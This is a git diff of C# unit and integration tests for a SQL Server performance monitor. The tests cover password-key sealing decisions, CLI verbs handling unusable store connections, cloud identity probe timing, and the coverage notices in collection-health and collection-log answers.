+    [Fact]
+    public void AKeyFileThatIsNotThePublishedKey_Refuses()
+    {
+        using var other = PasswordPrivateKey.Generate();
+
+        var decision = DarlingCliSealKey.Decide(Published(FileKey), State("ok"), other.ExportPkcs8());
+
+        Assert.False(decision.Ring.Status.CanSeal);
+        Assert.Equal(DarlingCliSealKey.FileMismatchReason, decision.Ring.Status.Reason);
+    }
+
+    [Fact]
+    public void WithNoKeyFile_ThePublishedKeyIsUsedWhenTheServiceIsOk_AndTheKeyIdIsPrinted()
+    {
+        var decision = DarlingCliSealKey.Decide(Published(FileKey), State("ok"), null);
+
+        Assert.True(decision.Ring.Status.CanSeal);
+        Assert.Equal(DarlingCliSealKey.NoticeFor(FileKey.PublicKey.KeyId), decision.Notice);
+        Assert.Contains("Password key", decision.Notice, StringComparison.Ordinal);
+        Assert.Equal("p@ss-not-real", FileKey.PublicKey.KeyId is { } ? PasswordSeal.Open(decision.Ring.Seal("p@ss-not-real", Binding), FileKey, Binding) : "");
+    }
+
+    [Fact]
+    public void WithNoKeyFile_AServiceThatIsNotOk_NoServiceState_NoPublishedKey_OrABadKeyId_Refuses()
+    {
+        Assert.Equal(DarlingCliSealKey.StateReason(State("mismatch", "see the log")), DarlingCliSealKey.Decide(Published(FileKey), State("mismatch", "see the log"), null).Ring.Status.Reason);
+        Assert.Equal(DarlingCliSealKey.NoStateReason, DarlingCliSealKey.Decide(Published(FileKey), null, null).Ring.Status.Reason);
+        Assert.Equal(DarlingCliSealKey.NoKeyReason, DarlingCliSealKey.Decide(null, State("ok"), null).Ring.Status.Reason);
+        Assert.Equal(
+            DarlingCliSealKey.InvalidKeyReason,
+            DarlingCliSealKey.Decide(new PublishedKeyWithWrongId(FileKey).Value, State("ok"), null).Ring.Status.Reason);
+    }
+
+    [Fact]
+    public void WithNoKeyFile_AnOkStateRowForAnotherKey_OrWithNoKeyId_Refuses_AndOneForThePublishedKey_Seals()
+    {
+        var published = Published(FileKey);
+        var otherKey = new PasswordServiceStateFor("0000000000000000", "ok");
+        var noKeyId = new PasswordServiceStateFor(null, "ok");
+
+        Assert.Equal(DarlingCliSealKey.NoStateReason, DarlingCliSealKey.Decide(published, otherKey.Value, null).Ring.Status.Reason);
+        Assert.Equal(DarlingCliSealKey.NoStateReason, DarlingCliSealKey.Decide(published, noKeyId.Value, null).Ring.Status.Reason);
+        Assert.Null(DarlingCliSealKey.Decide(published, State("ok"), null).Ring.Status.Reason);
+    }
+
+    private sealed class PasswordServiceStateFor
+    {
+        public PasswordServiceStateFor(string? keyId, string state) =>
+            Value = new("host-example", keyId, state, null, DateTime.UtcNow);
+
+        public PasswordKeyServiceState Value { get; }
+    }
+
+    private sealed class PublishedKeyWithWrongId
+    {
+        public PublishedKeyWithWrongId(PasswordPrivateKey key) => Value = new("0000000000000000", key.PublicKey.Spki, PasswordSeal.Algorithm);
+
+        public PublishedPasswordKey Value { get; }
+    }
+
+    [Fact]
+    public void ARefusedDecision_RefusesALiteralPassword_WithItsReason_ThroughTheAddRequest()
+    {
+        var decision = DarlingCliSealKey.Decide(Published(FileKey), null, null);
+
+        var (entries, invalid, _) = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools.ParseRequest(
+            "[{\"host\":\"sql-example\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"p@ss-not-real\"}]",
+            decision.Ring.Status, allowSecretReferences: true);
+
+        Assert.Empty(entries);
+        Assert.Contains(DarlingCliSealKey.NoStateReason, Assert.Single(invalid).Detail, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs b/Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs
index cee62f91df..f579afb09d 100644
--- a/Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs
+++ b/Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs
@@ -96,7 +96,12 @@ private static string WriteManagedConfigWithCredential(DirectoryInfo root, strin
                 enable: true, ["wait_stats", "--config", configPath], output, error, ct),
             "--disable-collector" => await DarlingCliCommands.ToggleCollectorAsync(
                 enable: false, ["wait_stats", "--config", configPath], output, error, ct),
+            "--set-collector-run-at" => await DarlingCliCommands.SetCollectorRunAtAsync(
+                ["index_object_stats", "02:00", "--config", configPath], output, error, ct),
+            "--reset-password-key" => await DarlingCliCommands.ResetPasswordKeyAsync(["--config", configPath], output, error, ct),
             "--drop-xe-sessions" => await DarlingCliCommands.DropXeSessionsAsync(["SQL2022", "--dry-run", "--config", configPath], output, error, ct),
+            "--diagnostics-bundle" => await DarlingCliCommands.DiagnosticsBundleAsync(
+                [Path.Combine(Path.GetTempPath(), "darling-unusable-" + Guid.NewGuid().ToString("N") + ".json"), "--config", configPath], output, error, ct),
             _ => throw new ArgumentOutOfRangeException(nameof(verb), verb, "not a verb this class knows"),
         };
 
@@ -115,7 +120,10 @@ private static string WriteManagedConfigWithCredential(DirectoryInfo root, strin
     [InlineData("--backfill-rollups")]
     [InlineData("--enable-collector")]
     [InlineData("--disable-collector")]
+    [InlineData("--set-collector-run-at")]
+    [InlineData("--reset-password-key")]
     [InlineData("--drop-xe-sessions")]
+    [InlineData("--diagnostics-bundle")]
     public async Task ConnectionStringThatDoesNotParse_ExitsWithOne_AndNamesTheSetting(string verb)
     {
         var root = Directory.CreateTempSubdirectory("darling-cli-4744-badconn-");
@@ -149,6 +157,8 @@ public async Task ConnectionStringThatDoesNotParse_ExitsWithOne_AndNamesTheSetti
     [InlineData("--backfill-rollups")]
     [InlineData("--enable-collector")]
     [InlineData("--disable-collector")]
+    [InlineData("--set-collector-run-at")]
+    [InlineData("--reset-password-key")]
     [InlineData("--drop-xe-sessions")]
     public async Task ManagedCredentialThatCannotBeRead_ExitsWithOne_InsteadOfThrowing(string verb)
     {
@@ -194,6 +204,8 @@ store has no connection string setting to blame. */
     [InlineData("--backfill-rollups")]
     [InlineData("--enable-collector")]
     [InlineData("--disable-collector")]
+    [InlineData("--set-collector-run-at")]
+    [InlineData("--reset-password-key")]
     [InlineData("--drop-xe-sessions")]
     public async Task ManagedCredentialThatDpapiCannotUnprotect_IsDescribedAsDpapi_NotAsARawCryptoError(string verb)
     {
@@ -238,10 +250,12 @@ quotes the sentence from counting. */
 
         /* Eight verbs open the store through it: --validate-config, --check-settings, the four endpoint toggles (one
            shared body), --collapse-legacy-slices, --recompress-plan-dim, --add-server, --backfill-rollups, and the
-           two collector toggles (one shared body). That is eight call sites; a ninth verb that opens the store
-           adds a ninth here, and growing this count is the point. */
+           two collector toggles (one shared body). That is eight call sites. The ninth is --drop-xe-sessions reading
+           this install's id, the long-query schedule rows and the instance names (#4961), after it has resolved the
+           server through the first one's shared body. The tenth is --diagnostics-bundle (#5097). An eleventh verb that
+           opens the store adds an eleventh here, and growing this count is the point. */
         var calls = Regex.Matches(code, @"(?<!bool\s)TryBuildStoreConnectionString\(").Count;
-        Assert.Equal(8, calls);
+        Assert.Equal(10, calls);
 
         /* The stored credential is read bare in exactly two places: inside that method, and in the firewall verb's
            best-effort read (TryReadEndpointTogglesAsync), which turns a failure into a reason it prints rather than
diff --git a/Darling/Darling.Tests/DarlingCloudIdentityProbeTests.cs b/Darling/Darling.Tests/DarlingCloudIdentityProbeTests.cs
index 4ad904f2e5..bd4b40f8d5 100644
--- a/Darling/Darling.Tests/DarlingCloudIdentityProbeTests.cs
+++ b/Darling/Darling.Tests/DarlingCloudIdentityProbeTests.cs
@@ -27,6 +27,7 @@ namespace Darling.Tests;
 /// an EC2 success, an Azure success, neither found (a timeout within the probe's own budget), a 401, a 404, an
 /// oversized body, a redirect (never followed), and a value that fails the accept pattern.
 /// </summary>
+[Collection("timing")]
 public sealed class DarlingCloudIdentityProbeTests
 {
     private static HttpResponseMessage Text(HttpStatusCode status, string body) =>
@@ -147,11 +148,29 @@ wait on the handler until CI's job timeout. */
             throw new InvalidOperationException("unreachable");
         });
 
+        /* #5600: this failed again in the whole-suite guards job (about 28,000 tests in one process) at 1083 ms
+           after the request ended, with the probe unchanged. returnedAt was read HERE after
+           `await ...WaitAsync(...)`, so it included the hop from the probe task's completion back into this
+           test (WaitAsync's own completion, then the awaiter's continuation), and that hop belongs to the
+           machine, not the probe. The probe's completion is stamped instead by a synchronous continuation on
+           the probe task itself, which runs on whichever thread completes the probe, with no hop. The test now
+           also runs in the `timing` collection (TimingCollection), alone in the process, so the remaining
+           cancel-to-return step is not competing with other classes either. No stall allowance: the bar
+           stays NoPoolStepLimitMs. */
+        var returnedAtMs = new long[] { -1 };
+
         clock.Start();
         CloudIdentity identity;
         try
         {
-            identity = await DarlingCloudIdentityProbe.ProbeAsync(handler, CancellationToken.None).WaitAsync(HangGuard);
+            var probe = DarlingCloudIdentityProbe.ProbeAsync(handler, CancellationToken.None);
+            var stamp = probe.ContinueWith(
+                _ => Interlocked.CompareExchange(ref returnedAtMs[0], clock.ElapsedMilliseconds, -1),
+                CancellationToken.None,
+                TaskContinuationOptions.ExecuteSynchronously,
+                TaskScheduler.Default);
+            identity = await probe.WaitAsync(HangGuard);
+            await stamp.WaitAsync(HangGuard);
         }
         catch (TimeoutException)
         {
@@ -159,7 +178,8 @@ wait on the handler until CI's job timeout. */
             throw;
         }
 
-        var returnedAt = clock.ElapsedMilliseconds;
+        var resumedAt = clock.ElapsedMilliseconds;
+        var returnedAt = Interlocked.Read(ref returnedAtMs[0]);
 
         Assert.Equal(CloudIdentity.None, identity);
         var startedAt = Interlocked.Read(ref handlerStartedAtMs[0]);
@@ -173,7 +193,7 @@ wait on the handler until CI's job timeout. */
             $"the handler's request ended after {endedAt} ms, well before the {DarlingCloudIdentityProbe.ProbeBudget.TotalMilliseconds:0} ms budget: something other than the probe's budget ended it");
         Assert.True(
             returnedAt - endedAt <= NoPoolStepLimitMs,
-            $"ProbeAsync returned {returnedAt - endedAt} ms after the handler's request ended (at {endedAt} ms), not within {NoPoolStepLimitMs} ms: the probe waited after the budget cancelled the request, and nothing bounds that wait");
+            $"ProbeAsync returned {returnedAt - endedAt} ms after the handler's request ended (at {endedAt} ms; this test resumed at {resumedAt} ms), not within {NoPoolStepLimitMs} ms: the probe waited after the budget cancelled the request, and nothing bounds that wait");
     }
 
     /// <summary>The number the timing test above no longer measures against a clock (#4741): the 200 ms total
@@ -512,6 +532,7 @@ protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage reques
 /// lane orders' "real gates" list). Proved once, by hand, that each assertion fails when the source it pins is
 /// broken (reverted after).
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class DarlingCloudIdentityProbeSourcePinTests
 {
     private const string ProbeClassName = "DarlingCloudIdentityProbe";
@@ -553,11 +574,13 @@ public void GatherAsyncCallSite_OnlyInCliCommandsAndTheMcpStoreHostTool()
     }
 
     [Fact]
-    public void GetStoreHostCallSite_OnlyInTheMcpToolAndTheWebDispatch()
+    public void GetStoreHostCallSite_OnlyInTheMcpToolTheWebDispatchAndTheDiagnosticsBundle()
     {
+        /* The diagnostics bundle (#5097) reads the store host the way the MCP tool serves it, once, from a verb an
+           operator runs by hand, as --check-settings does through GatherAsync. */
         var files = FilesContainingAcrossServiceProject("GetStoreHost(");
 
-        Assert.Equal(new[] { "DarlingWebEndpoints.cs", "Mcp/DarlingMcpStoreHostTools.cs" }, files);
+        Assert.Equal(new[] { "DarlingWebEndpoints.cs", "DiagnosticsBundleRunner.cs", "Mcp/DarlingMcpStoreHostTools.cs" }, files);
     }
 
     /// <summary>Every <c>.cs</c> file under <c>Darling/PerformanceMonitor.Darling.Service/</c> (skipping
diff --git a/Darling/Darling.Tests/DarlingCollectionHealthLatestNoteTests.cs b/Darling/Darling.Tests/DarlingCollectionHealthLatestNoteTests.cs
index ac1fdbf29b..1d278ceddf 100644
--- a/Darling/Darling.Tests/DarlingCollectionHealthLatestNoteTests.cs
+++ b/Darling/Darling.Tests/DarlingCollectionHealthLatestNoteTests.cs
@@ -39,15 +39,15 @@ public sealed class DarlingCollectionHealthLatestNoteTests
     private const string ServerName = "health-latest-note";
 
     /// <summary>
-    /// The fleet read rolls up EVERY enabled server and its rows carry no server_id, so the fleet assertions
-    /// scope themselves by a collector name no real install has — the sentinel-server discipline
-    /// <c>DarlingFleetReaderLivePostgresTests</c> uses, applied to the only key this projection exposes.
+    /// The fleet read rolls up EVERY server in the store, so the fleet assertions scope themselves by this
+    /// sentinel server's rows and by a collector name no real install has — the sentinel-server discipline
+    /// <c>DarlingFleetReaderLivePostgresTests</c> uses.
     /// </summary>
     private const string FleetProbeCollector = "note_rank_fleet_probe";
 
     /// <summary>#4748: the collector the partial-database-failure band cases seed, named apart from
     /// <see cref="FleetProbeCollector"/> so the two families of cases cannot read each other's rows. Like it,
-    /// a name no real install has, because the fleet rows carry no server_id.</summary>
+    /// a name no real install has.</summary>
     private const string PartialFailureProbeCollector = "partial_failure_band_probe";
 
     /// <summary>123,456 microseconds in ticks (10 ticks to the microsecond): the fractional second the
@@ -184,26 +184,24 @@ public async Task TheFleetRead_BandsWithoutExemplarText_AgainstDevPostgres()
         try
         {
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
-            /* The fleet read is scoped to the CONFIG registry, not the collector-side servers table. */
-            await DarlingMcpTestData.ExecAsync(connection, ct, @"
-INSERT INTO config_monitored_servers (server_id, name, host, is_enabled) VALUES ($1, $2, $2, TRUE)
-ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", ServerId, ServerName);
 
             await SeedAsync(connection, ct, FleetProbeCollector, MinutesAgo(30), "SUCCESS", ProbeNote(9));
             await SeedAsync(connection, ct, FleetProbeCollector, MinutesAgo(20), "SUCCESS", ProbeNote(12));
 
+            /* The fleet read the Overview cards and the status bar use: one row per server and collector (#4226),
+               keyed by server, scoped by server_id rather than the config registry. */
             await using var viewer = new ViewerDataService(cs!);
-            var fleet = await viewer.GetFleetCollectionHealthAsync(ct);
-            var row = fleet.Single(h => h.CollectorName == FleetProbeCollector);
+            var fleet = await viewer.GetFleetCollectionHealthByServerAsync(ct);
+            var row = fleet[ServerId].Single(h => h.CollectorName == FleetProbeCollector);
 
-            /* The fleet rollup answers "how many collectors, how many failing" for the status bar and
-               nothing else, so it carries the BAND inputs and the cheap note COUNT but not the exemplar
-               text: ranking a message per group turns a parallel hash aggregate into a serial sort of
-               every row in the window. Blank, deliberately — never the pre-#1855 lexicographic MAX, which
+            /* The fleet rollup answers "how many collectors, how many failing" for the status bar and the
+               Overview cards and nothing else, so it carries the BAND inputs but not the exemplar text, nor
+               the note count: ranking a message per group turns a parallel hash aggregate into a serial sort
+               of every row in the window. Blank, deliberately — never the pre-#1855 lexicographic MAX, which
                would have been the older run's "9 item(s)" on data where the truth is 12. */
             Assert.Null(row.LastNote);
             Assert.Null(row.LastError);
-            Assert.Equal(2, row.NoteCount);
+            Assert.Equal(0, row.NoteCount);
             Assert.Equal(2, row.TotalRuns);
 
             /* And the banding — the thing this read exists for — still works off the counts. */
@@ -221,11 +219,12 @@ INSERT INTO config_monitored_servers (server_id, name, host, is_enabled) VALUES
     /// <summary>
     /// #4748: a SUCCESS run whose note says half or more of its databases failed bands Warning, read back
     /// through the three Postgres reads that band a collector: the Viewer's per-server grid, the MCP
-    /// service's <c>get_collection_health</c>, and the Viewer's fleet rollup. The classifier's own tests hand
+    /// service's <c>get_collection_health</c>, and the Viewer's fleet rollup (the by-server read the Overview cards
+    /// and the status bar take their counts from). The classifier's own tests hand
     /// it a note; none of them runs the SQL that has to deliver the note, and each read delivers it a
     /// different way (two window-function ranks, and on the fleet side a plain-aggregate CASE that compares
     /// two instants and strips a fixed-width timestamp prefix). All three cases seed one collector name no
-    /// real install has, because the fleet rows carry no server_id.
+    /// real install has, on one sentinel server.
     ///
     /// <para>Here the newest run is the partial-failure cycle (9 of 10 databases) with an older clean run
     /// behind it, so each read has to choose the newest run rather than find the only one. Its
@@ -434,10 +433,6 @@ private static async Task RunPartialFailureBandCaseAsync(
         try
         {
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
-            /* The fleet read is scoped to the CONFIG registry, not the collector-side servers table. */
-            await DarlingMcpTestData.ExecAsync(connection, ct, @"
-INSERT INTO config_monitored_servers (server_id, name, host, is_enabled) VALUES ($1, $2, $2, TRUE)
-ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", ServerId, ServerName);
 
             await seed(connection, ct);
 
@@ -460,8 +455,8 @@ INSERT INTO config_monitored_servers (server_id, name, host, is_enabled) VALUES
             AssertRead("the service read", "latest_run_note", expectedLatestRunNote, service.LatestRunNote);
             AssertRead("the service read", "last_note", expectedLastNote, service.LastNote);
 
-            /* ── the Viewer's fleet read (the status bar's rollup) ── */
-            var fleet = (await viewer.GetFleetCollectionHealthAsync(ct))
+            /* ── the Viewer's fleet read (the rollup the Overview cards and the status bar band) ── */
+            var fleet = (await viewer.GetFleetCollectionHealthByServerAsync(ct))[ServerId]
                 .Single(h => h.CollectorName == PartialFailureProbeCollector);
             Assert.Equal(2, fleet.TotalRuns);
             AssertRead("the fleet read", "band", expectedBand, fleet.HealthStatus);
diff --git a/Darling/Darling.Tests/DarlingCollectionLogReadTests.cs b/Darling/Darling.Tests/DarlingCollectionLogReadTests.cs
index 4056f1def9..9a7bdeef82 100644
--- a/Darling/Darling.Tests/DarlingCollectionLogReadTests.cs
+++ b/Darling/Darling.Tests/DarlingCollectionLogReadTests.cs
@@ -12,8 +12,11 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Service;
+using System.Linq;
 using Xunit;
 
 namespace Darling.Tests;
@@ -114,7 +117,11 @@ never fill -- the specific false instruction the ordering fixes. */
 
             /* Same row count as case 1 -- zero -- and it must NOT reach for the same word. */
             Assert.DoesNotContain("EVER", quietText, StringComparison.Ordinal);
-            Assert.Contains("widen", quietText, StringComparison.OrdinalIgnoreCase);
+            /* #4966: the only run is 48 hours old, so the one-hour window holds none of the log: it is NOT covered, and the
+               answer says so instead of "genuinely quiet". */
+            Assert.True(quietDoc.RootElement.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, quietDoc.RootElement.GetProperty("hints").GetProperty("effective_start").ValueKind);
+            Assert.Equal($"No collector runs recorded for {ServerName} in the last 1 hour(s). {McpHelpers.CutWindowNothingReadMessage}", quietText);
 
             /* ── 3. rows in the window: the data path, and the split that makes the log worth reading ── */
             await SeedAsync(connection, ct, "query_store", MinutesAgo(10));
@@ -304,6 +311,10 @@ puts the heaviest run first even though it is the oldest.
             */
             Assert.Equal(t30, reachRoot.GetProperty("oldest_returned_collection_time").GetDateTime());
             Assert.Equal(t10, reachRoot.GetProperty("newest_returned_collection_time").GetDateTime());
+            /* #4966, #5015: both bounds describe the window the page covers, so each names its instant as UTC, with the Z; a row's own time keeps its form. */
+            Assert.EndsWith("Z", reachRoot.GetProperty("oldest_returned_collection_time").GetString(), StringComparison.Ordinal);
+            Assert.EndsWith("Z", reachRoot.GetProperty("newest_returned_collection_time").GetString(), StringComparison.Ordinal);
+            Assert.False(reachRoot.GetProperty("runs")[0].GetProperty("collection_time").GetString()!.EndsWith('Z'));
 
             /* The last row really is neither, so the two assertions above cannot be passing by coincidence. */
             var last = reachRoot.GetProperty("runs")[2].GetProperty("collection_time").GetDateTime();
@@ -317,7 +328,7 @@ puts the heaviest run first even though it is the oldest.
             var noMatchText = noMatchRoot.GetProperty("message").GetString()!;
 
             /* The filter is named back, so a typo is diagnosable from the answer. */
-            Assert.Contains("plan_corection", noMatchText, StringComparison.Ordinal);
+            AssertFilteredEmptyNamesItsFilter(noMatchRoot, "plan_corection");
 
             /*
                 And the two sentences this read already had must NOT be reachable here. Six rows sit in this
@@ -481,7 +492,7 @@ answer about the window. */
             /* The filter is named back — through the shared describe helper, so the sentence says WHICH
                filter produced the nothing — and the window is not called quiet, because eight rows sit in
                it and a filtered read has not looked at the window at all. */
-            Assert.Contains("status SESSION_MISSING", noSuchText, StringComparison.Ordinal);
+            AssertFilteredEmptyNamesItsFilter(noSuchRoot, "status SESSION_MISSING");
             Assert.DoesNotContain("genuinely quiet", noSuchText, StringComparison.Ordinal);
 
             /* ── 12. #3869: no status filter is unchanged behavior ── */
@@ -510,9 +521,8 @@ payload forgot to mention" the same observation. */
             Assert.Equal("empty", combinedRoot.GetProperty("status").GetString());
 
             /* Both filters named, so the caller can tell which half missed. */
-            var combinedText = combinedRoot.GetProperty("message").GetString()!;
-            Assert.Contains("collector_name 'query_store'", combinedText, StringComparison.Ordinal);
-            Assert.Contains("status ERROR", combinedText, StringComparison.Ordinal);
+            AssertFilteredEmptyNamesItsFilter(combinedRoot, "collector_name 'query_store'");
+            AssertFilteredEmptyNamesItsFilter(combinedRoot, "status ERROR");
 
             bodySucceeded = true;
         }
@@ -582,10 +592,144 @@ private static async Task DeleteRowsAsync(NpgsqlConnection connection, Cancellat
         await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", ServerId);
     }
 
+    /// <summary>
+    /// #4966: a filtered nothing says nothing about the window as a whole, so it keeps its filter echo and its advice whether
+    /// or not the window is cut. This fixture's rows are minutes old against a 24-hour window, so the window IS cut: asserting
+    /// both makes the one branch it produces the branch under test, and the cut sentence must not replace the filtered one.
+    /// </summary>
+    private static void AssertFilteredEmptyNamesItsFilter(JsonElement root, string filterText)
+    {
+        var message = root.GetProperty("message").GetString()!;
+        Assert.True(root.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+        Assert.Contains(filterText, message, StringComparison.Ordinal);
+        Assert.Contains("says nothing about the window as a whole", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("Nothing in the part of the window", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("Nothing was read", message, StringComparison.Ordinal);
+    }
+
     private static async Task DeleteFilterRowsAsync(NpgsqlConnection connection, CancellationToken ct)
     {
         await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM collection_log WHERE server_id = $1", FilterServerId);
         await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", FilterServerId);
         await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", FilterServerId);
     }
+
+    /* #4966: the window-floor notice on the one-server form. The probe reads the log's own coverage and ignores the collector,
+       status and duration filters on purpose: it says where the LOG starts, not where one filter's matches do. */
+    private const string WindowCollector = "wait_stats";
+
+    private static string WindowName(string window) => "collection-log-window-" + window;
+
+    private static Task<string> CallWindowAsync(NpgsqlDataSource ds, string window, int hours, DateTime end, int? limit = null, string? collector = null) =>
+        DarlingMcpDataTools.GetCollectionLog(ds, WindowName(window), hours, limit, as_of: WebDataStartNote.FormatWindowEnd(end), collector_name: collector);
+
+    private static Task RunWindowAsync(string window, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(ConnectionString, [WindowCollector], [WindowName(window)], [], body);
+
+    private static Task SeedWindowAsync(NpgsqlConnection c, string window, DateTime created, DateTime? runsFrom, int step, DateTime end) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, WindowName(window), created, WindowCollector, runsFrom, step, end, [], TestContext.Current.CancellationToken);
+
+    [Fact]
+    public async Task ARunsAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_AndAPagedPageKeepsTheTwoFlagsApart_AgainstDevPostgres() =>
+        await RunWindowAsync("added", async (c, ds, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedWindowAsync(c, "added", added, added, 30, end);
+
+            /* limit 5 pages the answer: truncated is the PAGE's, window_truncated the store's, and neither moves the other. */
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "added", 168, end, limit: 5));
+
+            Assert.True(root.GetProperty("truncated").GetBoolean());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.EndsWith("Z", root.GetProperty("effective_start").GetString()!, StringComparison.Ordinal);
+            Assert.Equal(DarlingMcpWindowNotice.Build(added, end.AddHours(-168), "collection_log").TruncationNote, root.GetProperty("truncation_note").GetString());
+            Assert.False(root.TryGetProperty("effective_hours_back", out _));
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+
+    [Fact]
+    public async Task ARunsAnswer_WhoseFirstRunComesLate_IsCovered_AgainstDevPostgres() =>
+        await RunWindowAsync("quiet", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "quiet", end.AddDays(-30), end.AddDays(-8), 60, end);
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "quiet", 168, end, limit: 5));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            var effective = DateTime.Parse(root.GetProperty("effective_start").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+            Assert.InRange((effective - end.AddHours(-168)).TotalSeconds, 0, 120);
+        });
+
+    [Fact]
+    public async Task AnEmptyWindow_PastCoverage_CarriesHints_AndTheProbeIgnoresTheFilters_AgainstDevPostgres() =>
+        await RunWindowAsync("empty", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "empty", end.AddDays(-2), end.AddDays(-2), 30, end);
+
+            /* A quiet hour before the server was registered: the server has collected, but not in this window. */
+            var past = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "empty", 1, end.AddDays(-5)));
+            Assert.Equal("empty", past.GetProperty("status").GetString());
+            var hints = past.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of collection_log", hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+
+            /* A filter that matches nothing: the probe does not apply it, so the hour the log covers is covered. */
+            var filtered = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "empty", 1, end, collector: "no_such_collector"));
+            Assert.Equal("empty", filtered.GetProperty("status").GetString());
+            Assert.False(filtered.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(end.AddHours(-1)), filtered.GetProperty("hints").GetProperty("effective_start").GetString());
+            /* #4966: covered, so the filtered sentence keeps its own words instead of the cut sentence. */
+            Assert.Contains("says nothing about the window as a whole", filtered.GetProperty("message").GetString()!, StringComparison.Ordinal);
+        });
+
+    [Fact]
+    public async Task AServerThatNeverCollected_StaysBare_AgainstDevPostgres() =>
+        await RunWindowAsync("never", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "never", end.AddDays(-2), null, 30, end);
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "never", 168, end));
+
+            Assert.Equal("unavailable", root.GetProperty("status").GetString());
+            Assert.False(root.TryGetProperty("hints", out _));
+        });
+
+    [Fact]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres() =>
+        await RunWindowAsync("short", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "short", end.AddDays(-30), end.AddDays(-2), 30, end);
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "short", 1, end, limit: 5));
+
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.True(root.GetProperty("run_count").GetInt32() > 0);
+        });
+
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres() =>
+        await RunWindowAsync("probefail", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "probefail", end.AddDays(-2), end.AddDays(-2), 30, end);
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "probefail", 168, end, limit: 5));
+            Assert.False(root.TryGetProperty("status", out _));
+            Assert.True(root.GetProperty("run_count").GetInt32() > 0);
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+
+            var empty = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "probefail", 1, end.AddDays(-5)));
+            Assert.Equal("empty", empty.GetProperty("status").GetString());
+            Assert.False(empty.TryGetProperty("hints", out _));
+        });
 }
diff --git a/Darling/Darling.Tests/DarlingCollectorRunTimeReaderTests.cs b/Darling/Darling.Tests/DarlingCollectorRunTimeReaderTests.cs
new file mode 100644
index 0000000000..23961fec4a
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingCollectorRunTimeReaderTests.cs
@@ -0,0 +1,242 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
